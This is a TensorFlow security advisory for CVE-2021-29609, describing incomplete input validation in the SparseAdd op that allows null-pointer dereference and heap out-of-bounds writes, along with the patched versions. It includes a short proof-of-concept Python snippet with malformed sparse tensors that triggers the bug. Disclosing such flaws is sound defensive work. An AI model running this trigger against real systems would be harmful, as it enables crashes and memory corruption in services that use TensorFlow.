Incomplete validation in `SparseAdd`

Critical **mihaimaruseac** published **GHSA-cjc7-49v2-jp64** on May 12, 2021

Package

Incomplete validation in `SparseAdd` (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

```
import tensorflow as tf

a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)

b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)

thresh = 0

tf.raw_ops.SparseAdd(a_indices=a_indices,
                     a_values=a_values,
                     a_shape=a_shape,
                     b_indices=b_indices,
                     b_values=b_values,
                     b_shape=b_shape,
                     thresh=thresh)
```

The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

Patches

We have patched the issue in GitHub commit 6fd02f44810754ae7481838b6a67c5df7f909ca3 followed by GitHub commit 41727ff06111117bdf86b37db198217fd7a143cc.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Critical

CVE ID

CVE-2021-29609

Weaknesses

No CWEs